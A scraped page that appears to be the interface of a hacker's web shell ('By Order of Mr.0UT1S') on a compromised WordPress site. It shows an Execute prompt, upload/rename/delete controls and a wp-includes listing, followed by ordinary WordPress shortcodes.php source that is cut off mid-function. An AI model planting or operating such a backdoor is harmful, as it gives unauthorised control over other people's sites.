home
/
aioutajg
/
8171bispupdate.com
/
wp-includes
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] ID3
N/A
[DIR] IXR
N/A
[DIR] PHPMailer
N/A
[DIR] Requests
N/A
[DIR] SimplePie
N/A
[DIR] Text
N/A
[DIR] assets
N/A
[DIR] block-bindings
N/A
[DIR] block-patterns
N/A
[DIR] block-supports
N/A
[DIR] blocks
N/A
[DIR] certificates
N/A
[DIR] css
N/A
[DIR] customize
N/A
[DIR] fonts
N/A
[DIR] html-api
N/A
[DIR] images
N/A
[DIR] interactivity-api
N/A
[DIR] js
N/A
[DIR] l10n
N/A
[DIR] php-compat
N/A
[DIR] pomo
N/A
[DIR] rest-api
N/A
[DIR] sitemaps
N/A
[DIR] sodium_compat
N/A
[DIR] style-engine
N/A
[DIR] theme-compat
N/A
[DIR] widgets
N/A
admin-bar.php
36.09 KB
Rename
Delete
atomlib.php
11.79 KB
Rename
Delete
author-template.php
18.51 KB
Rename
Delete
block-bindings.php
5.46 KB
Rename
Delete
block-editor.php
28.12 KB
Rename
Delete
block-i18n.json
316 bytes
Rename
Delete
block-patterns.php
12.90 KB
Rename
Delete
block-template-utils.php
60.46 KB
Rename
Delete
block-template.php
15.00 KB
Rename
Delete
blocks.php
108.29 KB
Rename
Delete
bookmark-template.php
12.47 KB
Rename
Delete
bookmark.php
15.07 KB
Rename
Delete
cache-compat.php
5.83 KB
Rename
Delete
cache.php
13.16 KB
Rename
Delete
canonical.php
33.71 KB
Rename
Delete
capabilities.php
41.72 KB
Rename
Delete
category-template.php
55.67 KB
Rename
Delete
category.php
12.53 KB
Rename
Delete
class-IXR.php
2.55 KB
Rename
Delete
class-avif-info.php
28.92 KB
Rename
Delete
class-feed.php
539 bytes
Rename
Delete
class-http.php
367 bytes
Rename
Delete
class-json.php
42.66 KB
Rename
Delete
class-oembed.php
401 bytes
Rename
Delete
class-phpass.php
6.61 KB
Rename
Delete
class-phpmailer.php
664 bytes
Rename
Delete
class-pop3.php
20.63 KB
Rename
Delete
class-requests.php
2.18 KB
Rename
Delete
class-simplepie.php
453 bytes
Rename
Delete
class-smtp.php
457 bytes
Rename
Delete
class-snoopy.php
36.83 KB
Rename
Delete
class-walker-category-dropdown.php
2.41 KB
Rename
Delete
class-walker-category.php
8.28 KB
Rename
Delete
class-walker-comment.php
13.89 KB
Rename
Delete
class-walker-nav-menu.php
11.76 KB
Rename
Delete
class-walker-page-dropdown.php
2.65 KB
Rename
Delete
class-walker-page.php
7.43 KB
Rename
Delete
class-wp-admin-bar.php
17.46 KB
Rename
Delete
class-wp-ajax-response.php
5.14 KB
Rename
Delete
class-wp-application-passwords.php
16.70 KB
Rename
Delete
class-wp-block-bindings-registry.php
8.26 KB
Rename
Delete
class-wp-block-bindings-source.php
2.92 KB
Rename
Delete
class-wp-block-editor-context.php
1.32 KB
Rename
Delete
class-wp-block-list.php
4.65 KB
Rename
Delete
class-wp-block-metadata-registry.php
11.62 KB
Rename
Delete
class-wp-block-parser-block.php
2.50 KB
Rename
Delete
class-wp-block-parser-frame.php
1.97 KB
Rename
Delete
class-wp-block-parser.php
11.26 KB
Rename
Delete
class-wp-block-pattern-categories-registry.php
5.25 KB
Rename
Delete
class-wp-block-patterns-registry.php
10.53 KB
Rename
Delete
class-wp-block-styles-registry.php
6.25 KB
Rename
Delete
class-wp-block-supports.php
5.49 KB
Rename
Delete
class-wp-block-template.php
1.99 KB
Rename
Delete
class-wp-block-templates-registry.php
7.06 KB
Rename
Delete
class-wp-block-type-registry.php
4.90 KB
Rename
Delete
class-wp-block-type.php
16.86 KB
Rename
Delete
class-wp-block.php
22.50 KB
Rename
Delete
class-wp-classic-to-block-menu-converter.php
3.99 KB
Rename
Delete
class-wp-comment-query.php
47.26 KB
Rename
Delete
class-wp-comment.php
9.22 KB
Rename
Delete
class-wp-customize-control.php
25.25 KB
Rename
Delete
class-wp-customize-manager.php
197.84 KB
Rename
Delete
class-wp-customize-nav-menus.php
56.07 KB
Rename
Delete
class-wp-customize-panel.php
10.46 KB
Rename
Delete
class-wp-customize-section.php
10.95 KB
Rename
Delete
class-wp-customize-setting.php
29.26 KB
Rename
Delete
class-wp-customize-widgets.php
70.52 KB
Rename
Delete
class-wp-date-query.php
34.89 KB
Rename
Delete
class-wp-dependencies.php
14.78 KB
Rename
Delete
class-wp-dependency.php
2.57 KB
Rename
Delete
class-wp-duotone.php
39.83 KB
Rename
Delete
class-wp-editor.php
70.64 KB
Rename
Delete
class-wp-embed.php
15.56 KB
Rename
Delete
class-wp-error.php
7.33 KB
Rename
Delete
class-wp-exception.php
253 bytes
Rename
Delete
class-wp-fatal-error-handler.php
7.96 KB
Rename
Delete
class-wp-feed-cache-transient.php
3.10 KB
Rename
Delete
class-wp-feed-cache.php
969 bytes
Rename
Delete
class-wp-hook.php
15.63 KB
Rename
Delete
class-wp-http-cookie.php
7.22 KB
Rename
Delete
class-wp-http-curl.php
12.25 KB
Rename
Delete
class-wp-http-encoding.php
6.53 KB
Rename
Delete
class-wp-http-ixr-client.php
3.42 KB
Rename
Delete
class-wp-http-proxy.php
5.84 KB
Rename
Delete
class-wp-http-requests-hooks.php
1.97 KB
Rename
Delete
class-wp-http-requests-response.php
4.30 KB
Rename
Delete
class-wp-http-response.php
2.91 KB
Rename
Delete
class-wp-http-streams.php
16.46 KB
Rename
Delete
class-wp-http.php
40.60 KB
Rename
Delete
class-wp-image-editor-gd.php
19.69 KB
Rename
Delete
class-wp-image-editor-imagick.php
33.92 KB
Rename
Delete
class-wp-image-editor.php
17.12 KB
Rename
Delete
class-wp-list-util.php
7.27 KB
Rename
Delete
class-wp-locale-switcher.php
6.62 KB
Rename
Delete
class-wp-locale.php
16.49 KB
Rename
Delete
class-wp-matchesmapregex.php
1.79 KB
Rename
Delete
class-wp-meta-query.php
29.82 KB
Rename
Delete
class-wp-metadata-lazyloader.php
6.67 KB
Rename
Delete
class-wp-navigation-fallback.php
9.00 KB
Rename
Delete
class-wp-network-query.php
19.39 KB
Rename
Delete
class-wp-network.php
12.01 KB
Rename
Delete
class-wp-object-cache.php
17.11 KB
Rename
Delete
class-wp-oembed-controller.php
6.74 KB
Rename
Delete
class-wp-oembed.php
30.91 KB
Rename
Delete
class-wp-paused-extensions-storage.php
4.99 KB
Rename
Delete
class-wp-phpmailer.php
3.71 KB
Rename
Delete
class-wp-plugin-dependencies.php
24.72 KB
Rename
Delete
class-wp-post-type.php
29.96 KB
Rename
Delete
class-wp-post.php
6.34 KB
Rename
Delete
class-wp-query.php
154.32 KB
Rename
Delete
class-wp-recovery-mode-cookie-service.php
6.72 KB
Rename
Delete
class-wp-recovery-mode-email-service.php
10.92 KB
Rename
Delete
class-wp-recovery-mode-key-service.php
4.77 KB
Rename
Delete
class-wp-recovery-mode-link-service.php
3.38 KB
Rename
Delete
class-wp-recovery-mode.php
11.18 KB
Rename
Delete
class-wp-rewrite.php
62.20 KB
Rename
Delete
class-wp-role.php
2.46 KB
Rename
Delete
class-wp-roles.php
8.38 KB
Rename
Delete
class-wp-script-modules.php
19.01 KB
Rename
Delete
class-wp-scripts.php
27.68 KB
Rename
Delete
class-wp-session-tokens.php
7.15 KB
Rename
Delete
class-wp-simplepie-file.php
3.33 KB
Rename
Delete
class-wp-simplepie-sanitize-kses.php
1.87 KB
Rename
Delete
class-wp-site-query.php
30.88 KB
Rename
Delete
class-wp-site.php
7.28 KB
Rename
Delete
class-wp-speculation-rules.php
7.35 KB
Rename
Delete
class-wp-styles.php
10.75 KB
Rename
Delete
class-wp-tax-query.php
19.10 KB
Rename
Delete
class-wp-taxonomy.php
18.12 KB
Rename
Delete
class-wp-term-query.php
39.91 KB
Rename
Delete
class-wp-term.php
5.17 KB
Rename
Delete
class-wp-text-diff-renderer-inline.php
979 bytes
Rename
Delete
class-wp-text-diff-renderer-table.php
18.44 KB
Rename
Delete
class-wp-textdomain-registry.php
10.24 KB
Rename
Delete
class-wp-theme-json-data.php
1.77 KB
Rename
Delete
class-wp-theme-json-resolver.php
34.90 KB
Rename
Delete
class-wp-theme-json-schema.php
7.19 KB
Rename
Delete
class-wp-theme-json.php
159.71 KB
Rename
Delete
class-wp-theme.php
64.27 KB
Rename
Delete
class-wp-token-map.php
27.95 KB
Rename
Delete
class-wp-url-pattern-prefixer.php
4.69 KB
Rename
Delete
class-wp-user-meta-session-tokens.php
2.92 KB
Rename
Delete
class-wp-user-query.php
42.63 KB
Rename
Delete
class-wp-user-request.php
2.25 KB
Rename
Delete
class-wp-user.php
22.46 KB
Rename
Delete
class-wp-walker.php
13.01 KB
Rename
Delete
class-wp-widget-factory.php
3.27 KB
Rename
Delete
class-wp-widget.php
18.00 KB
Rename
Delete
class-wp-xmlrpc-server.php
210.39 KB
Rename
Delete
class-wp.php
25.70 KB
Rename
Delete
class-wpdb.php
115.51 KB
Rename
Delete
class.wp-dependencies.php
373 bytes
Rename
Delete
class.wp-scripts.php
343 bytes
Rename
Delete
class.wp-styles.php
338 bytes
Rename
Delete
comment-template.php
100.47 KB
Rename
Delete
comment.php
128.46 KB
Rename
Delete
compat.php
15.99 KB
Rename
Delete
cron.php
41.66 KB
Rename
Delete
date.php
400 bytes
Rename
Delete
default-constants.php
11.10 KB
Rename
Delete
default-filters.php
35.84 KB
Rename
Delete
default-widgets.php
2.24 KB
Rename
Delete
deprecated.php
187.07 KB
Rename
Delete
embed-template.php
338 bytes
Rename
Delete
embed.php
37.28 KB
Rename
Delete
error-protection.php
4.02 KB
Rename
Delete
feed-atom-comments.php
5.38 KB
Rename
Delete
feed-atom.php
3.05 KB
Rename
Delete
feed-rdf.php
2.61 KB
Rename
Delete
feed-rss.php
1.16 KB
Rename
Delete
feed-rss2-comments.php
4.04 KB
Rename
Delete
feed-rss2.php
3.71 KB
Rename
Delete
feed.php
22.86 KB
Rename
Delete
fonts.php
9.52 KB
Rename
Delete
formatting.php
334.24 KB
Rename
Delete
functions.php
280.81 KB
Rename
Delete
functions.wp-scripts.php
14.22 KB
Rename
Delete
functions.wp-styles.php
8.38 KB
Rename
Delete
general-template.php
168.46 KB
Rename
Delete
global-styles-and-settings.php
20.76 KB
Rename
Delete
http.php
24.72 KB
Rename
Delete
https-detection.php
5.72 KB
Rename
Delete
https-migration.php
4.63 KB
Rename
Delete
kses.php
72.73 KB
Rename
Delete
l10n.php
66.92 KB
Rename
Delete
link-template.php
154.10 KB
Rename
Delete
load.php
55.12 KB
Rename
Delete
locale.php
162 bytes
Rename
Delete
media-template.php
61.58 KB
Rename
Delete
media.php
215.12 KB
Rename
Delete
meta.php
63.71 KB
Rename
Delete
ms-blogs.php
25.24 KB
Rename
Delete
ms-default-constants.php
4.81 KB
Rename
Delete
ms-default-filters.php
6.48 KB
Rename
Delete
ms-deprecated.php
21.25 KB
Rename
Delete
ms-files.php
2.71 KB
Rename
Delete
ms-functions.php
89.44 KB
Rename
Delete
ms-load.php
19.42 KB
Rename
Delete
ms-network.php
3.69 KB
Rename
Delete
ms-settings.php
4.10 KB
Rename
Delete
ms-site.php
40.35 KB
Rename
Delete
nav-menu-template.php
25.38 KB
Rename
Delete
nav-menu.php
43.33 KB
Rename
Delete
option.php
100.65 KB
Rename
Delete
pluggable-deprecated.php
6.18 KB
Rename
Delete
pluggable.php
119.82 KB
Rename
Delete
plugin.php
34.63 KB
Rename
Delete
post-formats.php
6.94 KB
Rename
Delete
post-template.php
67.04 KB
Rename
Delete
post-thumbnail-template.php
10.62 KB
Rename
Delete
post.php
284.88 KB
Rename
Delete
query.php
36.17 KB
Rename
Delete
registration-functions.php
200 bytes
Rename
Delete
registration.php
200 bytes
Rename
Delete
rest-api.php
97.91 KB
Rename
Delete
revision.php
30.02 KB
Rename
Delete
rewrite.php
19.08 KB
Rename
Delete
robots-template.php
5.06 KB
Rename
Delete
rss-functions.php
255 bytes
Rename
Delete
rss.php
22.57 KB
Rename
Delete
script-loader.php
129.50 KB
Rename
Delete
script-modules.php
7.53 KB
Rename
Delete
session.php
258 bytes
Rename
Delete
shortcodes.php
23.49 KB
Rename
Delete
sitemaps.php
3.16 KB
Rename
Delete
speculative-loading.php
8.36 KB
Rename
Delete
spl-autoload-compat.php
441 bytes
Rename
Delete
style-engine.php
7.39 KB
Rename
Delete
taxonomy.php
172.10 KB
Rename
Delete
template-canvas.php
544 bytes
Rename
Delete
template-loader.php
2.94 KB
Rename
Delete
template.php
23.59 KB
Rename
Delete
theme-i18n.json
1.49 KB
Rename
Delete
theme-previews.php
2.77 KB
Rename
Delete
theme-templates.php
6.09 KB
Rename
Delete
theme.json
8.50 KB
Rename
Delete
theme.php
131.16 KB
Rename
Delete
update.php
36.62 KB
Rename
Delete
user.php
171.70 KB
Rename
Delete
vars.php
6.41 KB
Rename
Delete
version.php
1.06 KB
Rename
Delete
widgets.php
69.06 KB
Rename
Delete
wp-db.php
445 bytes
Rename
Delete
wp-diff.php
799 bytes
Rename
Delete
<?php /** * WordPress API for creating bbcode-like tags or what WordPress calls * "shortcodes". The tag and attribute parsing or regular expression code is * based on the Textpattern tag parser. * * A few examples are below: * * [shortcode /] * [shortcode foo="bar" baz="bing" /] * [shortcode foo="bar"]content[/shortcode] * * Shortcode tags support attributes and enclosed content, but does not entirely * support inline shortcodes in other shortcodes. You will have to call the * shortcode parser in your function to account for that. * * {@internal * Please be aware that the above note was made during the beta of WordPress 2.6 * and in the future may not be accurate. Please update the note when it is no * longer the case.}} * * To apply shortcode tags to content: * * $out = do_shortcode( $content ); * * @link https://developer.wordpress.org/plugins/shortcodes/ * * @package WordPress * @subpackage Shortcodes * @since 2.5.0 */ /** * Container for storing shortcode tags and their hook to call for the shortcode. * * @since 2.5.0 * * @name $shortcode_tags * @var array * @global array $shortcode_tags */ $shortcode_tags = array(); /** * Adds a new shortcode. * * Care should be taken through prefixing or other means to ensure that the * shortcode tag being added is unique and will not conflict with other, * already-added shortcode tags. In the event of a duplicated tag, the tag * loaded last will take precedence. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to be searched in post content. * @param callable $callback The callback function to run when the shortcode is found. * Every shortcode callback is passed three parameters by default, * including an array of attributes (`$atts`), the shortcode content * or null if not set (`$content`), and finally the shortcode tag * itself (`$shortcode_tag`), in that order. */ function add_shortcode( $tag, $callback ) { global $shortcode_tags; if ( '' === trim( $tag ) ) { _doing_it_wrong( __FUNCTION__, __( 'Invalid shortcode name: Empty name given.' ), '4.4.0' ); return; } if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */ __( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ), $tag, '& / < > [ ] =' ), '4.4.0' ); return; } $shortcode_tags[ $tag ] = $callback; } /** * Removes hook for shortcode. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to remove hook for. */ function remove_shortcode( $tag ) { global $shortcode_tags; unset( $shortcode_tags[ $tag ] ); } /** * Clears all shortcodes. * * This function clears all of the shortcode tags by replacing the shortcodes global with * an empty array. This is actually an efficient method for removing all shortcodes. * * @since 2.5.0 * * @global array $shortcode_tags */ function remove_all_shortcodes() { global $shortcode_tags; $shortcode_tags = array(); } /** * Determines whether a registered shortcode exists named $tag. * * @since 3.6.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $tag Shortcode tag to check. * @return bool Whether the given shortcode exists. */ function shortcode_exists( $tag ) { global $shortcode_tags; return array_key_exists( $tag, $shortcode_tags ); } /** * Determines whether the passed content contains the specified shortcode. * * @since 3.6.0 * * @global array $shortcode_tags * * @param string $content Content to search for shortcodes. * @param string $tag Shortcode tag to check. * @return bool Whether the passed content contains the given shortcode. */ function has_shortcode( $content, $tag ) { if ( ! str_contains( $content, '[' ) ) { return false; } if ( shortcode_exists( $tag ) ) { preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) { return false; } foreach ( $matches as $shortcode ) { if ( $tag === $shortcode[2] ) { return true; } elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) { return true; } } } return false; } /** * Returns a list of registered shortcode names found in the given content. * * Example usage: * * get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' ); * // array( 'audio', 'gallery' ) * * @since 6.3.2 * * @param string $content The content to check. * @return string[] An array of registered shortcode names found in the content. */ function get_shortcode_tags_in_content( $content ) { if ( false === strpos( $content, '[' ) ) { return array(); } preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) { return array(); } $tags = array(); foreach ( $matches as $shortcode ) { $tags[] = $shortcode[2]; if ( ! empty( $shortcode[5] ) ) { $deep_tags = get_shortcode_tags_in_content( $shortcode[5] ); if ( ! empty( $deep_tags ) ) { $tags = array_merge( $tags, $deep_tags ); } } } return $tags; } /** * Searches content for shortcodes and filter shortcodes through their hooks. * * This function is an alias for do_shortcode(). * * @since 5.4.0 * * @see do_shortcode() * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * Default false. * @return string Content with shortcodes filtered out. */ function apply_shortcodes( $content, $ignore_html = false ) { return do_shortcode( $content, $ignore_html ); } /** * Searches content for shortcodes and filter shortcodes through their hooks. * * If there are no shortcode tags defined, then the content will be returned * without any filtering. This might cause issues when plugins are disabled but * the shortcode will still show up in the post or content. * * @since 2.5.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * Default false. * @return string Content with shortcodes filtered out. */ function do_shortcode( $content, $ignore_html = false ) { global $shortcode_tags; if ( ! str_contains( $content, '[' ) ) { return $content; } if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) { return $content; } // Find all registered tag names in $content. preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches ); $tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] ); if ( empty( $tagnames ) ) { return $content; } // Ensure this context is only added once if shortcodes are nested. $has_filter = has_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' ); $filter_added = false; if ( ! $has_filter ) { $filter_added = add_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' ); } $content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ); $pattern = get_shortcode_regex( $tagnames ); $content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content ); // Always restore square braces so we don't break things like <!--[if IE ]>. $content = unescape_invalid_shortcodes( $content ); // Only remove the filter if it was added in this scope. if ( $filter_added ) { remove_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' ); } return $content; } /** * Filter the `wp_get_attachment_image_context` hook during shortcode rendering. * * When wp_get_attachment_image() is called during shortcode rendering, we need to make clear * that the context is a shortcode and not part of the theme's template rendering logic. * * @since 6.3.0 * @access private * * @return string The filtered context value for wp_get_attachment_images when doing shortcodes. */ function _filter_do_shortcode_context() { return 'do_shortcode'; } /** * Retrieves the shortcode regular expression for searching. * * The regular expression combines the shortcode tags in the regular expression * in a regex class. * * The regular expression contains 6 different sub matches to help with parsing. * * 1 - An extra [ to allow for escaping shortcodes with double [[]] * 2 - The shortcode name * 3 - The shortcode argument list * 4 - The self closing / * 5 - The content of a shortcode when it wraps some content. * 6 - An extra ] to allow for escaping shortcodes with double [[]] * * @since 2.5.0 * @since 4.4.0 Added the `$tagnames` parameter. * * @global array $shortcode_tags * * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes. * @return string The shortcode search regular expression */ function get_shortcode_regex( $tagnames = null ) { global $shortcode_tags; if ( empty( $tagnames ) ) { $tagnames = array_keys( $shortcode_tags ); } $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); /* * WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag(). * Also, see shortcode_unautop() and shortcode.js. */ // phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation return '\\[' // Opening bracket. . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]. . "($tagregexp)" // 2: Shortcode name. . '(?![\\w-])' // Not followed by word character or hyphen. . '(' // 3: Unroll the loop: Inside the opening shortcode tag. . '[^\\]\\/]*' // Not a closing bracket or forward slash. . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket. . '[^\\]\\/]*' // Not a closing bracket or forward slash. . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag... . '\\]' // ...and closing bracket. . '|' . '\\]' // Closing bracket. . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags. . '[^\\[]*+' // Not an opening bracket. . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag. . '[^\\[]*+' // Not an opening bracket. . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag. . ')?' . ')' . '(\\]?)'; // 6: Optional second closing bracket for escaping shortcodes: [[tag]]. // phpcs:enable } /** * Regular Expression callable for do_shortcode() for calling shortcode hook. * * @see get_shortcode_regex() for details of the match array contents. * * @since 2.5.0 * @access private * * @global array $shortcode_tags * * @param array $m { * Regular expression match array. * * @type string $0 Entire matched shortcode text. * @type string $1 Optional second opening bracket for escaping shortcodes. * @type string $2 Shortcode name. * @type string $3 Shortcode arguments list. * @type string $4 Optional self closing slash. * @type string $5 Content of a shortcode when it wraps some content. * @type string $6 Optional second closing bracket for escaping shortcodes. * } * @return string Shortcode output. */ function do_shortcode_tag( $m ) { global $shortcode_tags; // Allow [[foo]] syntax for escaping a tag. if ( '[' === $m[1] && ']' === $m[6] ) { return substr( $m[0], 1, -1 ); } $tag = $m[2]; $attr = shortcode_parse_atts( $m[3] ); if ( ! is_callable( $shortcode_tags[ $tag ] ) ) { _doing_it_wrong( __FUNCTION__, /* translators: %s: Shortcode tag. */ sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag ), '4.3.0' ); return $m[0]; } /** * Filters whether to call a shortcode callback. * * Returning a non-false value from filter will short-circuit the * shortcode generation process, returning that value instead. * * @since 4.7.0 * @since 6.5.0 The `$attr` parameter is always an array. * * @param false|string $output Short-circuit return value. Either false or the value to replace the shortcode with. * @param string $tag Shortcode name. * @param array $attr Shortcode attributes array, can be empty if the original arguments string cannot be parsed. * @param array $m Regular expression match array. */ $return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m ); if ( false !== $return ) { return $return; } $content = isset( $m[5] ) ? $m[5] : null; $output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6]; /** * Filters the output created by a shortcode callback. * * @since 4.7.0 * @since 6.5.0 The `$attr` parameter is always an array. * * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array $attr Shortcode attributes array, can be empty if the original arguments string cannot be parsed. * @param array $m Regular expression match array. */ return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m ); } /** * Searches only inside HTML elements for shortcodes and process them. * * Any [ or ] characters remaining inside elements will be HTML encoded * to prevent interference with shortcodes that are outside the elements. * Assumes $content processed by KSES already. Users with unfiltered_html * capability may get unexpected output if angle braces are nested in tags. * * @since 4.2.3 * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, all square braces inside elements will be encoded. * @param array $tagnames List of shortcodes to find. * @return string Content with shortcodes filtered out. */ function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) { // Normalize entities in unfiltered HTML before adding placeholders. $trans = array( '[' => '[', ']' => ']', ); $content = strtr( $content, $trans ); $trans = array( '[' => '[', ']' => ']', ); $pattern = get_shortcode_regex( $tagnames ); $textarr = wp_html_split( $content ); foreach ( $textarr as &$element ) { if ( '' === $element || '<' !== $element[0] ) { continue; } $noopen = ! str_contains( $element, '[' ); $noclose = ! str_contains( $element, ']' ); if ( $noopen || $noclose ) { // This element does not contain shortcodes. if ( $noopen xor $noclose ) { // Need to encode stray '[' or ']' chars. $element = strtr( $element, $trans ); } continue; } if ( $ignore_html || str_starts_with( $element, '<!--' ) || str_starts_with( $element, '<![CDATA[' ) ) { // Encode all '[' and ']' chars. $element = strtr( $element, $trans ); continue; } $attributes = wp_kses_attr_parse( $element ); if ( false === $attributes ) { // Some plugins are doing things like [name] <[email]>. if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) { $element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element ); } // Looks like we found some unexpected unfiltered HTML. Skipping it for confidence. $element = strtr( $element, $trans ); continue; } // Get element name. $front = array_shift( $attributes ); $back = array_pop( $attributes ); $matches = array(); preg_match( '%[a-zA-Z0-9]+%', $front, $matches ); $elname = $matches[0]; // Look for shortcodes in each attribute separately. foreach ( $attributes as &$attr ) { $open = strpos( $attr, '[' ); $close = strpos( $attr, ']' ); if ( false === $open || false === $close ) { continue; // Go to next attribute. Square braces will be escaped at end of loop. } $double = strpos( $attr, '"' ); $single = strpos( $attr, "'" ); if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) { /* * $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html. * In this specific situation we assume KSES did not run because the input * was written by an administrator, so we should avoid changing the output * and we do not need to run KSES here. */ $attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr ); } else { /* * $attr like 'name = "[shortcode]"' or "name = '[shortcode]'". * We do not know if $content was unfiltered. Assume KSES ran before shortcodes. */ $count = 0; $new_attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr, -1, $count ); if ( $count > 0 ) { // Sanitize the shortcode output using KSES. $new_attr = wp_kses_one_attr( $new_attr, $elname ); if ( '' !== trim( $new_attr ) ) { // The shortcode is safe to use now. $attr = $new_attr; } } } } $element = $front . implode( '', $attributes ) . $back; // Now encode any remaining '[' or ']' chars. $element = strtr( $element, $trans ); } $content = implode( '', $textarr ); return $content; } /** * Removes placeholders added by do_shortcodes_in_html_tags(). * * @since 4.2.3 * * @param string $content Content to search for placeholders. * @return string Content with placeholders removed. */ function unescape_invalid_shortcodes( $content ) { // Clean up entire string, avoids re-parsing HTML. $trans = array( '[' => '[', ']' => ']', ); $content = strtr( $content, $trans ); return $content; } /** * Retrieves the shortcode attributes regex. * * @since 4.4.0 * * @return string The shortcode attribute regular expression. */ function get_shortcode_atts_regex() { return '/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*\'([^\']*)\'(?:\s|$)|([\w-]+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|\'([^\']*)\'(?:\s|$)|(\S+)(?:\s|$)/'; } /** * Retrieves all attributes from the shortcodes tag. * * The attributes list has the attribute name as the key and the value of the * attribute as the value in the key/value pair. This allows for easier * retrieval of the attributes, since all attributes have to be known. * * @since 2.5.0 * @since 6.5.0 The function now always returns an array, * even if the original arguments string cannot be parsed or is empty. * * @param string $text Shortcode arguments list. * @return array Array of attribute values keyed by attribute name. * Returns empty array if there are no attributes * or if the original arguments string cannot be parsed. */ function shortcode_parse_atts( $text ) { $atts = array(); $pattern = get_shortcode_atts_regex(); $text = preg_replace( "/[\x{00a0}\x{200b}]+/u", ' ', $text ); if ( preg_match_all( $pattern, $text, $match, PREG_SET_ORDER ) ) { foreach ( $match as $m ) { if ( ! empty( $m[1] ) ) { $atts[ strtolower( $m[1] ) ] = stripcslashes( $m[2] ); } elseif ( ! empty( $m[3] ) ) { $atts[ strtolower( $m[3] ) ] = stripcslashes( $m[4] ); } elseif ( ! empty( $m[5] ) ) { $atts[ strtolower( $m[5] ) ] = stripcslashes( $m[6] ); } elseif ( isset( $m[7] ) && strlen( $m[7] ) ) { $atts[] = stripcslashes( $m[7] ); } elseif ( isset( $m[8] ) && strlen( $m[8] ) ) { $atts[] = stripcslashes( $m[8] ); } elseif ( isset( $m[9] ) ) { $atts[] = stripcslashes( $m[9] ); } } // Reject any unclosed HTML elements. foreach ( $atts as &$value ) { if ( str_contains( $value, '<' ) ) { if ( 1 !== preg_match( '/^[^<]*+(?:<[^>]*+>[^<]*+)*+$/', $value ) ) { $value = ''; } } } } return $atts; } /** * Combines user attributes with known attributes and fill in defaults when needed. * * The pairs should be considered to be all of the attributes which are * supported by the caller and given as a list. The returned attributes will * only contain the attributes in the $pairs list. * * If the $atts list has unsupported attributes, then they will be ignored and * removed from the final returned list. * * @since 2.5.0 * * @param array $pairs Entire list of supported attributes and their defaults. * @param array $atts User defined attributes in shortcode tag. * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering * @return array Combined and filtered attribute list. */ function shortcode_atts( $pairs, $atts, $shortcode = '' ) { $atts = (array) $atts; $out = array(); foreach ( $pairs as $name => $default ) { if ( array_key_exists( $name, $atts ) ) { $out[ $name ] = $atts[ $name ]; } else { $out[ $name ] = $default; } } if ( $shortcode ) { /** * Filters shortcode attributes. * * If the third parameter of the shortcode_atts() function is present then this filter is available. * The third parameter, $shortcode, is the name of the shortcode. * * @since 3.6.0 * @since 4.4.0 Added the `$shortcode` parameter. * * @param array $out The output array of shortcode attributes. * @param array $pairs The supported attributes and their defaults. * @param array $atts The user defined shortcode attributes. * @param string $shortcode The shortcode name. */ $out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts, $shortcode ); } return $out; } /** * Removes all shortcode tags from the given content. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $content Content to remove shortcode tags. * @return string Content without shortcode tags. */ function strip_shortcodes( $content ) { global $shortcode_tags; if 